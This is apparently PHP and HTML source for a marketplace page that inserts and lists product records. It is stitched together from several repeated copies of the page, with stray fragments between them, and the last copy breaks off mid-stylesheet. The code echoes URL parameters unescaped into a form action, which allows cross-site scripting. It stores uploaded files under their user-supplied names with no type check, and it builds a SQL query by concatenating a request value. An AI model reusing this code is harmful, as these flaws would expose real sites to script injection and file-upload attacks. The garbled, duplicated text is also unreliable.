|| $_SESSION['lang']=="ar") echo"lang=ar dir=rtl"; else echo"lang=en dir=ltr"; ?>> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Bathae3i Management</title> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css__"> <style> body { <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"lang=ar dir=rtl"; else echo"lang=en dir=ltr"; ?> background-color: #f8f9fa; font-family: Arial, sans-serif; } .container { max-width: 1200px; margin: 20px auto; padding: 20px; background-color: #ffffff; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); border-radius: 8px; } .form-control { display: block; width: 100%; height: calc(1.5em + .75rem + 2px); padding: .375rem .75rem; margin-top: 3px; font-size: 1rem; font-weight: 400; line-height: 1.5; color: #495057; background-color: #fff; background-clip: padding-box; border: 1px solid #ced4da; border-radius: .25rem; transition: border-color .15s ease-in-out, box-shadow .15s ease-in-out; } .btn { display: inline-block; font-weight: 400; color: #212529; text-align: center; vertical-align: middle; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; background-color: transparent; border: 1px solid transparent; padding: .375rem .75rem; font-size: 1rem; line-height: 1.5; border-radius: .25rem; transition: color .15s ease-in-out, background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out; } .btn-primary { color: #fff; background-color: #007bff; border-color: #007bff; } h1 { margin-bottom: 20px; } form { margin-bottom: 30px; } .form-group { margin-bottom: 15px; } .form-control, .form-check-input { border-radius: 4px; } .custom-file-input { display: none; } .custom-file-upload { border: 2px solid #007bff; border-radius: 8px; display: inline-block; padding: 12px 24px; cursor: pointer; background: linear-gradient(135deg, #007bff 0%, #00d2ff 100%); color: #ffffff; text-align: center; font-weight: bold; font-size: 16px; transition: all 0.3s ease; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); position: relative; } .custom-file-upload:hover { background: linear-gradient(135deg, #00d2ff 0%, #007bff 100%); color: #f0f0f0; transform: scale(1.05); } .custom-file-upload:before { content: '???? '; position: absolute; <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"right: 0px;"; else echo"left: 0px;"; ?> top: 40%; transform: translateY(-50%); font-size: 18px; } .custom-file-input { display: none; } .image-preview { display: flex; flex-wrap: wrap; margin-top: 10px; } .image-preview img { max-width: 100px; margin-right: 5px; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); } .image-preview { display: flex; flex-wrap: wrap; margin-top: 10px; border: 2px dashed #007bff; border-radius: 8px; padding: 10px; background-color: #f8f9fa; min-height: 120px; position: relative; overflow: auto; } .image-preview .placeholder { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); color: #007bff; font-size: 18px; font-weight: bold; text-align: center; pointer-events: none; } .image-preview img { max-width: 100px; margin: 5px; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); } table { width: 100%; border-collapse: collapse; } table th, table td { border: 1px solid #dee2e6; padding: 12px; text-align: left; } table th { background-color: #007bff; color: #ffffff; } table td { background-color: #ffffff; } .attributes-list { white-space: pre-wrap; /* Preserve whitespace for line breaks */ } .details-list { list-style-type: none; padding: 0; margin: 0; } .details-list li:nth-child(even) { background-color: #f9f9f9; } .details-list li { padding: 10px; border-bottom: 1px solid #eee; } .details-container { background-color: #fff; border: 1px solid #ddd; padding: 20px; margin-bottom: 20px; font-family: Arial, sans-serif; width: 100%; margin: 0 auto; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); } ._vkey{ <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"margin-left: 40px;"; else echo"margin-right: 40px;"; ?> } </style> </head> <body> <div class="container"> <h1>Insert New Record</h1> <form method="post" action="?accessCat=<?php echo $_GET['accessCat']; ?>&brand=<?php echo $_GET['brand']; ?>&year=<?php echo $_GET['year']; ?>" enctype="multipart/form-data"> <!--div class="form-group"> <label for="category">Category:</label> <input type="text" id="category" name="accessCat" class="form-control" required> </div --> <div class="form-group"> <label for="images" class="custom-file-upload"> <span><?php echo $_SESSION["imageUpload"]; ?></span> </label> <input type="file" id="images" name="images[]" class="custom-file-input" accept="image/*" multiple> <div class="image-preview" id="image-preview"> <div class="placeholder"><?php echo $_SESSION["imagesselected"]; ?></div> </div> </div> <div class="form-group"> <label for="title">Title:</label> <input type="text" id="title" name="title" class="form-control" required> </div> <?php if($_GET["accessCat"]=="cars")include_once"_carsSpecificities.php"; ?> <?php //include_once"_vpcategoriesForms.php"; // Function to generate form fields function generateFormFields($fields) { $formHtml = ''; foreach ($fields as $field => $label) { if (is_array($label)) { // Check if the field has subvalues $formHtml .= '<label for="' . htmlspecialchars($field) . '">' . htmlspecialchars($label['type']) . ':</label>'; $formHtml .= '<select id="' . htmlspecialchars($field) . '" name="' . htmlspecialchars($field) . '" class="form-control">'; foreach ($label as $subValue => $subLabel) { if ($subValue !== 'type') { // Skip the 'type' key $formHtml .= '<option value="' . htmlspecialchars($subValue) . '">' . htmlspecialchars($subLabel) . '</option>'; } } $formHtml .= '</select><br><br>'; } else { $formHtml .= '<label for="' . htmlspecialchars($field) . '">' . htmlspecialchars($label) . ':</label>'; $formHtml .= '<input type="text" id="' . htmlspecialchars($field) . '" class="form-control" name="' . htmlspecialchars($field) . '" placeholder="' . htmlspecialchars($label) . '"><br><br>'; } } return $formHtml; } ?> <?php if ($accessCat): ?> <?php // Split the selected category into category and subcategory list($category, $subcategory) = explode('/', $accessCat); // Check if the selected category and subcategory exist if (isset($categories[$category][$subcategory])) { $fields = $categories[$category][$subcategory]; ?> <h2><?= htmlspecialchars($subcategory) ?></h2> <div method="post" class="_carContainer image-preview"> <?= generateFormFields($fields) ?> <!-- input type="submit" value="إرسال" --> </div> <?php } else { echo '<p class="error-message">الفئة أو التصنيف المحدد غير موجود.</p>'; } ?> <?php endif; ?> <div class="form-group"> <label for="berid">Berid:</label> <input type="text" id="berid" name="berid" class="form-control" required> </div> <div class="form-group"> <label for="hetef">Hetef:</label> <input type="text" id="hetef" name="hetef" class="form-control" required> </div> <div class="form-group"> <label for="country">Country:</label> <input type="text" id="country" name="country" class="form-control" required> </div> <div class="form-group"> <label for="location_city">City:</label> <input type="text" id="location_city" name="location_city" class="form-control" required> </div> <div class="form-group"> <label for="price">Price:</label> <input type="text" id="price" name="price" class="form-control" required> </div> <div class="form-group"> <label for="el3omla">Currency:</label> <input type="text" id="el3omla" name="el3omla" class="form-control" required> </div> <div class="form-group"> <label for="description">Description:</label> <textarea id="description" name="description" class="form-control" rows="4" required></textarea> </div> <div class="form-group"> <label for="quantity">Quantity:</label> <input type="text" id="quantity" name="quantity" class="form-control" required> </div> <div class="form-group"> <label for="yearModel">Year:</label> <input type="text" id="yearModel" name="yearModel" class="form-control" required> </div> <!-- div class="form-group"> <label for="views">Views:</label> <input type="text" id="views" name="views" class="form-control" required> </div --> <!-- div class="form-group"> <label for="attributes">Attributes (JSON):</label> <textarea id="attributes" name="attributes" class="form-control" rows="4" required></textarea> </div --> <div class="form-group form-check"> <input type="checkbox" id="delivery_available" name="delivery_available" class="form-check-input" value="1"> <label for="delivery_available" class="form-check-label"><?php echo $_SESSION['property19']; ?>Delivery Available</label> </div> <div class="form-group form-check"> <input type="checkbox" id="negotiable_price" name="negotiable_price" class="form-check-input" value="1"> <label for="negotiable_price" class="form-check-label"><?php echo $_SESSION['property16']; ?>Negotiable Price</label> </div> <div class="form-group"> <label for="status">Status:</label> <input type="text" id="status" name="status" class="form-control" required> </div> <div class="form-group"> <label for="collector">Collector:</label> <input type="text" id="collector" name="collector" class="form-control" required> </div> <input type="hidden" name="form_html" value="<?php echo htmlspecialchars($formHtml); ?>"> <button type="submit" class="btn btn-primary"><?php echo $_SESSION['goNUploadNsell']; ?></button> </form> <h2>Existing Records</h2> <table class="table"> <thead> <tr> <th>ID</th> <th>Images</th> <th>Category</th> <th>Attributes / Delivery Available / Negotiable Price</th> <th>Status</th> <th>Collector</th> </tr> </thead> <tbody> <?php while ($row = $result->fetch_assoc()): ?> <tr> <td><?php echo htmlspecialchars($row['idBathae3i']); ?></td> <td style="max-width:300px;"> <?php $images = explode(',', $row['images']); foreach ($images as $image): ?> <img src="<?php echo htmlspecialchars($image); ?>" alt="Image" style="max-width: 100px; margin-right: 5px;"> <?php endforeach; ?> </td> <td><?php echo htmlspecialchars($row['category']); ?></td> <td><?php /*echo htmlspecialchars($row['attributes']);*/ ?> <?php // Start session if not already started if (session_status() === PHP_SESSION_NONE) { session_start(); } // Decode the JSON-encoded attributes field $attributes = json_decode($row['attributes'], true); ?> <div> <?php $formHtml = $attributes['form_html']; $formData = $attributes['data']; ?> <div class="details-container"> <div class="data-display details-list"> <?php foreach ($formData as $key => $value): ?> <?php // Find the translation for the current key $translation = ''; //foreach ($_SESSION['translations']['category']['vehicles']['cars'] as $category) { foreach ($_SESSION['translations'] as $category) { if (isset($category[$key])) { $translation = $category[$key]; break; }else if (isset($category['vehicles'][$key])) { $translation = $category[$key]; break; } } ?> <li><strong><font color=brown class=_vkey><?php echo htmlspecialchars($translation ?: $key, ENT_QUOTES, 'UTF-8'); ?>:</font></strong> <?php echo htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); ?></li> <?php endforeach; ?> </div> </div> </div> <br /><?php echo $_SESSION['property19']; ?>: <?php echo $row['delivery_available'] ? $_SESSION['yes'] : $_SESSION['no'] ; ?><br /><?php echo $_SESSION['property16']; ?>: <?php echo $row['negotiable_price'] ? $_SESSION['yes'] : $_SESSION['no']; ?></td> <td><?php echo htmlspecialchars($row['status']); ?></td> <td><?php echo htmlspecialchars($row['collector']); ?></td> </tr> <?php endwhile; ?> </tbody> </table> </div> <script> document.querySelector('#images').addEventListener('change', function() { const preview = document.querySelector('#image-preview'); preview.innerHTML = ''; for (const file of this.files) { const reader = new FileReader(); reader.onload = function(e) { const img = document.createElement('img'); img.src = e.target.result; img.alt = 'Image Preview'; preview.appendChild(img); }; reader.readAsDataURL(file); } }); </script> </body> </html>
.jpg)
, 'location_city' , 'location_city' , 'location_city' , 'location_city' , 'location_city' , 'location_city' , 'location_city' , 'location_city', 'location_city', 'location_city' , 'location_city'
.jpg)
<?php include_once "settings.php"; // Ensure this file sets up $connessione (database connection) //include 'ar.php'; if(isset($_GET["accessCat"])) $_SESSION["ad"]=$_GET["accessCat"]; //for the cntrol to dsply ads && (HIDE) not to display the cars brands logos $bId = htmlspecialchars($_GET['bId'] ?? $_GET['bId']); // Check if the 'accessCat' GET parameter is set $accessCat = isset($_GET['accessCat']) ? $_GET['accessCat'] : ''; // Define available categories and their fields $categories = $_SESSION['translations']['category']; // Process form submission if ($_SERVER['REQUEST_METHOD'] === 'POST') { $category = $connessione->real_escape_string($_POST['accessCat'] ?? $_GET['accessCat']); $title = $connessione->real_escape_string($_POST['title'] ?? ''); $berid = $connessione->real_escape_string($_POST['berid'] ?? ''); $hetef = $connessione->real_escape_string($_POST['hetef'] ?? ''); $country = $connessione->real_escape_string($_POST['country'] ?? ''); $location_city = $connessione->real_escape_string($_POST['location_city'] ?? ''); $price = $connessione->real_escape_string($_POST['price'] ?? ''); $el3omla = $connessione->real_escape_string($_POST['el3omla'] ?? ''); $description = $connessione->real_escape_string($_POST['description'] ?? ''); $quantity = $connessione->real_escape_string($_POST['quantity'] ?? ''); $yearModel = $connessione->real_escape_string($_POST['yearModel'] ?? $_GET['year']); $views = intval($_POST['views'] ?? 0); //$attributes = $connessione->real_escape_string($_POST['attributes'] ?? ''); // Collect prod attributes data with default values $attributes__ = [ 'brand' => $_GET['brand'] ?? '', 'year' => $yearModel ?? '', 'regional_specifications' => $_POST['property3'] ?? '', 'odometer' => $_POST['property4'] ?? '', 'cylinders' => $_POST['property5'] ?? '', 'transmission' => $_POST['property6'] ?? '', 'keys' => $_POST['property7'] ?? '', 'full_options' => $_POST['property8'] ?? '', 'fuel' => $_POST['property9'] ?? '', 'wheel_drive' => $_POST['property10'] ?? '', 'exterior_color' => $_POST['property11'] ?? '', 'interior_color' => $_POST['property12'] ?? '', 'maintenance_report' => $_POST['property13'] ?? '', 'car_status' => $_POST['property17'] ?? '' ]; // Initialize an array to hold form data $formData = []; $formHtml = isset($_POST['form_html']) ? $_POST['form_html'] : ''; // Check if 'form_html' is set and is an array if (isset($_POST['form_html']) && is_array($_POST['form_html'])) { foreach ($_POST['form_html'] as $key => $value) { // Sanitize each value $formData[$key] = htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); } } else { echo 'Error: form_html is not set or not an array.'; } // Output the sanitized form data foreach ($formData as $key => $value) { echo htmlspecialchars($key) . ': ' . htmlspecialchars($value) . '<br>'; } // Build the JSON object for the attributes field $attributes = [ 'form_html' => $formHtml, 'data' => $formData ]; // Convert the attributes array to a JSON string $attributesJson = json_encode($attributes); // Sanitize the JSON string for safe insertion $attributes = $connessione->real_escape_string($attributesJson); //$attributes = $connessione->real_escape_string(json_encode($attributes)); $delivery_available = isset($_POST['delivery_available']) ? 1 : 0; $negotiable_price = isset($_POST['negotiable_price']) ? 1 : 0; $status = $connessione->real_escape_string($_POST['status'] ?? ''); $collector = $connessione->real_escape_string($_POST['collector'] ?? ''); // Handle file uploads $images = []; if (isset($_FILES['images']) && !empty($_FILES['images']['name'][0])) { $uploadDir = 'uploads/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } foreach ($_FILES['images']['tmp_name'] as $key => $tmp_name) { $fileName = basename($_FILES['images']['name'][$key]); $uploadFile = $uploadDir . $fileName; if (move_uploaded_file($tmp_name, $uploadFile)) { $images[] = $uploadFile; } } } $imagesList = implode(',', $images); try { $sql = mysqli_query($connessione, "INSERT INTO `bathae3i` ( `idBathae3i`, `images`, `category`, `title`, `berid`, `hetef`, `country`, `location_city`, `price`, `el3omla`, `description`, `quantity`, `chronoBathae3`, `views`, `attributes`, `delivery_available`, `negotiable_price`, `status`, `collector` ) VALUES ( NULL, '$imagesList', '$category', '$title', '$berid', '$hetef', '$country', '$location_city', '$price', '$el3omla', '$description', '$quantity', '".time()."', $views, '$attributes', $delivery_available, $negotiable_price, '$status', '$collector' )"); if (!$sql) { die('Error: ' . htmlspecialchars($connessione->error)); } } catch(Exception $e) { echo "Exception: " . $e->getMessage(); } } // Retrieve records from the database $sql = "SELECT * FROM `bathae3i` WHERE idBathae3i = '" . $bId . "'"; $result = $connessione->query($sql); ?> <!DOCTYPE html> <html <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"lang=ar dir=rtl"; else echo"lang=en dir=ltr"; ?>> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Bathae3i Management</title> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css__"> <style> body { <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"lang=ar dir=rtl"; else echo"lang=en dir=ltr"; ?> background-color: #f8f9fa; font-family: Arial, sans-serif; } .container { max-width: 1200px; margin: 20px auto; padding: 20px; background-color: #ffffff; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); border-radius: 8px; } .form-control { display: block; width: 100%; height: calc(1.5em + .75rem + 2px); padding: .375rem .75rem; margin-top: 3px; font-size: 1rem; font-weight: 400; line-height: 1.5; color: #495057; background-color: #fff; background-clip: padding-box; border: 1px solid #ced4da; border-radius: .25rem; transition: border-color .15s ease-in-out, box-shadow .15s ease-in-out; } .btn { display: inline-block; font-weight: 400; color: #212529; text-align: center; vertical-align: middle; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; background-color: transparent; border: 1px solid transparent; padding: .375rem .75rem; font-size: 1rem; line-height: 1.5; border-radius: .25rem; transition: color .15s ease-in-out, background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out; } .btn-primary { color: #fff; background-color: #007bff; border-color: #007bff; } h1 { margin-bottom: 20px; } form { margin-bottom: 30px; } .form-group { margin-bottom: 15px; } .form-control, .form-check-input { border-radius: 4px; } .custom-file-input { display: none; } .custom-file-upload { border: 2px solid #007bff; border-radius: 8px; display: inline-block; padding: 12px 24px; cursor: pointer; background: linear-gradient(135deg, #007bff 0%, #00d2ff 100%); color: #ffffff; text-align: center; font-weight: bold; font-size: 16px; transition: all 0.3s ease; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); position: relative; } .custom-file-upload:hover { background: linear-gradient(135deg, #00d2ff 0%, #007bff 100%); color: #f0f0f0; transform: scale(1.05); } .custom-file-upload:before { content: '???? '; position: absolute; <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"right: 0px;"; else echo"left: 0px;"; ?> top: 40%; transform: translateY(-50%); font-size: 18px; } .custom-file-input { display: none; } .image-preview { display: flex; flex-wrap: wrap; margin-top: 10px; } .image-preview img { max-width: 100px; margin-right: 5px; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); } .image-preview { display: flex; flex-wrap: wrap; margin-top: 10px; border: 2px dashed #007bff; border-radius: 8px; padding: 10px; background-color: #f8f9fa; min-height: 120px; position: relative; overflow: auto; } .image-preview .placeholder { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); color: #007bff; font-size: 18px; font-weight: bold; text-align: center; pointer-events: none; } .image-preview img { max-width: 100px; margin: 5px; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); } table { width: 100%; border-collapse: collapse; } table th, table td { border: 1px solid #dee2e6; padding: 12px; text-align: left; } table th { background-color: #007bff; color: #ffffff; } table td { background-color: #ffffff; } .attributes-list { white-space: pre-wrap; /* Preserve whitespace for line breaks */ } .details-list { list-style-type: none; padding: 0; margin: 0; } .details-list li:nth-child(even) { background-color: #f9f9f9; } .details-list li { padding: 10px; border-bottom: 1px solid #eee; } .details-container { background-color: #fff; border: 1px solid #ddd; padding: 20px; margin-bottom: 20px; font-family: Arial, sans-serif; width: 100%; margin: 0 auto; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); } ._vkey{ <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"margin-left: 40px;"; else echo"margin-right: 40px;"; ?> } </style> </head> <body> <div class="container"> <h1>Insert New Record</h1> <form method="post" action="?accessCat=<?php echo $_GET['accessCat']; ?>&brand=<?php echo $_GET['brand']; ?>&year=<?php echo $_GET['year']; ?>" enctype="multipart/form-data"> <!--div class="form-group"> <label for="category">Category:</label> <input type="text" id="category" name="accessCat" class="form-control" required> </div --> <div class="form-group"> <label for="images" class="custom-file-upload"> <span><?php echo $_SESSION["imageUpload"]; ?></span> </label> <input type="file" id="images" name="images[]" class="custom-file-input" accept="image/*" multiple> <div class="image-preview" id="image-preview"> <div class="placeholder"><?php echo $_SESSION["imagesselected"]; ?></div> </div> </div> <div class="form-group"> <label for="title">Title:</label> <input type="text" id="title" name="title" class="form-control" required> </div> <?php if($_GET["accessCat"]=="cars")include_once"_carsSpecificities.php"; ?> <?php //include_once"_vpcategoriesForms.php"; // Function to generate form fields function generateFormFields($fields) { $formHtml = ''; foreach ($fields as $field => $label) { if (is_array($label)) { // Check if the field has subvalues $formHtml .= '<label for="' . htmlspecialchars($field) . '">' . htmlspecialchars($label['type']) . ':</label>'; $formHtml .= '<select id="' . htmlspecialchars($field) . '" name="' . htmlspecialchars($field) . '" class="form-control">'; foreach ($label as $subValue => $subLabel) { if ($subValue !== 'type') { // Skip the 'type' key $formHtml .= '<option value="' . htmlspecialchars($subValue) . '">' . htmlspecialchars($subLabel) . '</option>'; } } $formHtml .= '</select><br><br>'; } else { $formHtml .= '<label for="' . htmlspecialchars($field) . '">' . htmlspecialchars($label) . ':</label>'; $formHtml .= '<input type="text" id="' . htmlspecialchars($field) . '" class="form-control" name="' . htmlspecialchars($field) . '" placeholder="' . htmlspecialchars($label) . '"><br><br>'; } } return $formHtml; } ?> <?php if ($accessCat): ?> <?php // Split the selected category into category and subcategory list($category, $subcategory) = explode('/', $accessCat); // Check if the selected category and subcategory exist if (isset($categories[$category][$subcategory])) { $fields = $categories[$category][$subcategory]; ?> <h2><?= htmlspecialchars($subcategory) ?></h2> <div method="post" class="_carContainer image-preview"> <?= generateFormFields($fields) ?> <!-- input type="submit" value="إرسال" --> </div> <?php } else { echo '<p class="error-message">الفئة أو التصنيف المحدد غير موجود.</p>'; } ?> <?php endif; ?> <div class="form-group"> <label for="berid">Berid:</label> <input type="text" id="berid" name="berid" class="form-control" required> </div> <div class="form-group"> <label for="hetef">Hetef:</label> <input type="text" id="hetef" name="hetef" class="form-control" required> </div> <div class="form-group"> <label for="country">Country:</label> <input type="text" id="country" name="country" class="form-control" required> </div> <div class="form-group"> <label for="location_city">City:</label> <input type="text" id="location_city" name="location_city" class="form-control" required> </div> <div class="form-group"> <label for="price">Price:</label> <input type="text" id="price" name="price" class="form-control" required> </div> <div class="form-group"> <label for="el3omla">Currency:</label> <input type="text" id="el3omla" name="el3omla" class="form-control" required> </div> <div class="form-group"> <label for="description">Description:</label> <textarea id="description" name="description" class="form-control" rows="4" required></textarea> </div> <div class="form-group"> <label for="quantity">Quantity:</label> <input type="text" id="quantity" name="quantity" class="form-control" required> </div> <div class="form-group"> <label for="yearModel">Year:</label> <input type="text" id="yearModel" name="yearModel" class="form-control" required> </div> <!-- div class="form-group"> <label for="views">Views:</label> <input type="text" id="views" name="views" class="form-control" required> </div --> <!-- div class="form-group"> <label for="attributes">Attributes (JSON):</label> <textarea id="attributes" name="attributes" class="form-control" rows="4" required></textarea> </div --> <div class="form-group form-check"> <input type="checkbox" id="delivery_available" name="delivery_available" class="form-check-input" value="1"> <label for="delivery_available" class="form-check-label"><?php echo $_SESSION['property19']; ?>Delivery Available</label> </div> <div class="form-group form-check"> <input type="checkbox" id="negotiable_price" name="negotiable_price" class="form-check-input" value="1"> <label for="negotiable_price" class="form-check-label"><?php echo $_SESSION['property16']; ?>Negotiable Price</label> </div> <div class="form-group"> <label for="status">Status:</label> <input type="text" id="status" name="status" class="form-control" required> </div> <div class="form-group"> <label for="collector">Collector:</label> <input type="text" id="collector" name="collector" class="form-control" required> </div> <input type="hidden" name="form_html" value="<?php echo htmlspecialchars($formHtml); ?>"> <button type="submit" class="btn btn-primary"><?php echo $_SESSION['goNUploadNsell']; ?></button> </form> <h2>Existing Records</h2> <table class="table"> <thead> <tr> <th>ID</th> <th>Images</th> <th>Category</th> <th>Attributes / Delivery Available / Negotiable Price</th> <th>Status</th> <th>Collector</th> </tr> </thead> <tbody> <?php while ($row = $result->fetch_assoc()): ?> <tr> <td><?php echo htmlspecialchars($row['idBathae3i']); ?></td> <td style="max-width:300px;"> <?php $images = explode(',', $row['images']); foreach ($images as $image): ?> <img src="<?php echo htmlspecialchars($image); ?>" alt="Image" style="max-width: 100px; margin-right: 5px;"> <?php endforeach; ?> </td> <td><?php echo htmlspecialchars($row['category']); ?></td> <td><?php /*echo htmlspecialchars($row['attributes']);*/ ?> <?php // Start session if not already started if (session_status() === PHP_SESSION_NONE) { session_start(); } // Decode the JSON-encoded attributes field $attributes = json_decode($row['attributes'], true); ?> <div> <?php $formHtml = $attributes['form_html']; $formData = $attributes['data']; ?> <div class="details-container"> <div class="data-display details-list"> <?php foreach ($formData as $key => $value): ?> <?php // Find the translation for the current key $translation = ''; //foreach ($_SESSION['translations']['category']['vehicles']['cars'] as $category) { foreach ($_SESSION['translations'] as $category) { if (isset($category[$key])) { $translation = $category[$key]; break; }else if (isset($category['vehicles'][$key])) { $translation = $category[$key]; break; } } ?> <li><strong><font color=brown class=_vkey><?php echo htmlspecialchars($translation ?: $key, ENT_QUOTES, 'UTF-8'); ?>:</font></strong> <?php echo htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); ?></li> <?php endforeach; ?> </div> </div> </div> <br /><?php echo $_SESSION['property19']; ?>: <?php echo $row['delivery_available'] ? $_SESSION['yes'] : $_SESSION['no'] ; ?><br /><?php echo $_SESSION['property16']; ?>: <?php echo $row['negotiable_price'] ? $_SESSION['yes'] : $_SESSION['no']; ?></td> <td><?php echo htmlspecialchars($row['status']); ?></td> <td><?php echo htmlspecialchars($row['collector']); ?></td> </tr> <?php endwhile; ?> </tbody> </table> </div> <script> document.querySelector('#images').addEventListener('change', function() { const preview = document.querySelector('#image-preview'); preview.innerHTML = ''; for (const file of this.files) { const reader = new FileReader(); reader.onload = function(e) { const img = document.createElement('img'); img.src = e.target.result; img.alt = 'Image Preview'; preview.appendChild(img); }; reader.readAsDataURL(file); } }); </script> </body> </html>
.jpg)
<?php include_once "settings.php"; // Ensure this file sets up $connessione (database connection) //include 'ar.php'; if(isset($_GET["accessCat"])) $_SESSION["ad"]=$_GET["accessCat"]; //for the cntrol to dsply ads && (HIDE) not to display the cars brands logos $bId = htmlspecialchars($_GET['bId'] ?? $_GET['bId']); // Check if the 'accessCat' GET parameter is set $accessCat = isset($_GET['accessCat']) ? $_GET['accessCat'] : ''; // Define available categories and their fields $categories = $_SESSION['translations']['category']; // Process form submission if ($_SERVER['REQUEST_METHOD'] === 'POST') { $category = $connessione->real_escape_string($_POST['accessCat'] ?? $_GET['accessCat']); $title = $connessione->real_escape_string($_POST['title'] ?? ''); $berid = $connessione->real_escape_string($_POST['berid'] ?? ''); $hetef = $connessione->real_escape_string($_POST['hetef'] ?? ''); $country = $connessione->real_escape_string($_POST['country'] ?? ''); $location_city = $connessione->real_escape_string($_POST['location_city'] ?? ''); $price = $connessione->real_escape_string($_POST['price'] ?? ''); $el3omla = $connessione->real_escape_string($_POST['el3omla'] ?? ''); $description = $connessione->real_escape_string($_POST['description'] ?? ''); $quantity = $connessione->real_escape_string($_POST['quantity'] ?? ''); $yearModel = $connessione->real_escape_string($_POST['yearModel'] ?? $_GET['year']); $views = intval($_POST['views'] ?? 0); //$attributes = $connessione->real_escape_string($_POST['attributes'] ?? ''); // Collect prod attributes data with default values $attributes__ = [ 'brand' => $_GET['brand'] ?? '', 'year' => $yearModel ?? '', 'regional_specifications' => $_POST['property3'] ?? '', 'odometer' => $_POST['property4'] ?? '', 'cylinders' => $_POST['property5'] ?? '', 'transmission' => $_POST['property6'] ?? '', 'keys' => $_POST['property7'] ?? '', 'full_options' => $_POST['property8'] ?? '', 'fuel' => $_POST['property9'] ?? '', 'wheel_drive' => $_POST['property10'] ?? '', 'exterior_color' => $_POST['property11'] ?? '', 'interior_color' => $_POST['property12'] ?? '', 'maintenance_report' => $_POST['property13'] ?? '', 'car_status' => $_POST['property17'] ?? '' ]; // Initialize an array to hold form data $formData = []; $formHtml = isset($_POST['form_html']) ? $_POST['form_html'] : ''; // Check if 'form_html' is set and is an array if (isset($_POST['form_html']) && is_array($_POST['form_html'])) { foreach ($_POST['form_html'] as $key => $value) { // Sanitize each value $formData[$key] = htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); } } else { echo 'Error: form_html is not set or not an array.'; } // Output the sanitized form data foreach ($formData as $key => $value) { echo htmlspecialchars($key) . ': ' . htmlspecialchars($value) . '<br>'; } // Build the JSON object for the attributes field $attributes = [ 'form_html' => $formHtml, 'data' => $formData ]; // Convert the attributes array to a JSON string $attributesJson = json_encode($attributes); // Sanitize the JSON string for safe insertion $attributes = $connessione->real_escape_string($attributesJson); //$attributes = $connessione->real_escape_string(json_encode($attributes)); $delivery_available = isset($_POST['delivery_available']) ? 1 : 0; $negotiable_price = isset($_POST['negotiable_price']) ? 1 : 0; $status = $connessione->real_escape_string($_POST['status'] ?? ''); $collector = $connessione->real_escape_string($_POST['collector'] ?? ''); // Handle file uploads $images = []; if (isset($_FILES['images']) && !empty($_FILES['images']['name'][0])) { $uploadDir = 'uploads/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } foreach ($_FILES['images']['tmp_name'] as $key => $tmp_name) { $fileName = basename($_FILES['images']['name'][$key]); $uploadFile = $uploadDir . $fileName; if (move_uploaded_file($tmp_name, $uploadFile)) { $images[] = $uploadFile; } } } $imagesList = implode(',', $images); try { $sql = mysqli_query($connessione, "INSERT INTO `bathae3i` ( `idBathae3i`, `images`, `category`, `title`, `berid`, `hetef`, `country`, `location_city`, `price`, `el3omla`, `description`, `quantity`, `chronoBathae3`, `views`, `attributes`, `delivery_available`, `negotiable_price`, `status`, `collector` ) VALUES ( NULL, '$imagesList', '$category', '$title', '$berid', '$hetef', '$country', '$location_city', '$price', '$el3omla', '$description', '$quantity', '".time()."', $views, '$attributes', $delivery_available, $negotiable_price, '$status', '$collector' )"); if (!$sql) { die('Error: ' . htmlspecialchars($connessione->error)); } } catch(Exception $e) { echo "Exception: " . $e->getMessage(); } } // Retrieve records from the database $sql = "SELECT * FROM `bathae3i` WHERE idBathae3i = '" . $bId . "'"; $result = $connessione->query($sql); ?> <!DOCTYPE html> <html <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"lang=ar dir=rtl"; else echo"lang=en dir=ltr"; ?>> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Bathae3i Management</title> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css__"> <style> body { <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"lang=ar dir=rtl"; else echo"lang=en dir=ltr"; ?> background-color: #f8f9fa; font-family: Arial, sans-serif; } .container { max-width: 1200px; margin: 20px auto; padding: 20px; background-color: #ffffff; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); border-radius: 8px; } .form-control { display: block; width: 100%; height: calc(1.5em + .75rem + 2px); padding: .375rem .75rem; margin-top: 3px; font-size: 1rem; font-weight: 400; line-height: 1.5; color: #495057; background-color: 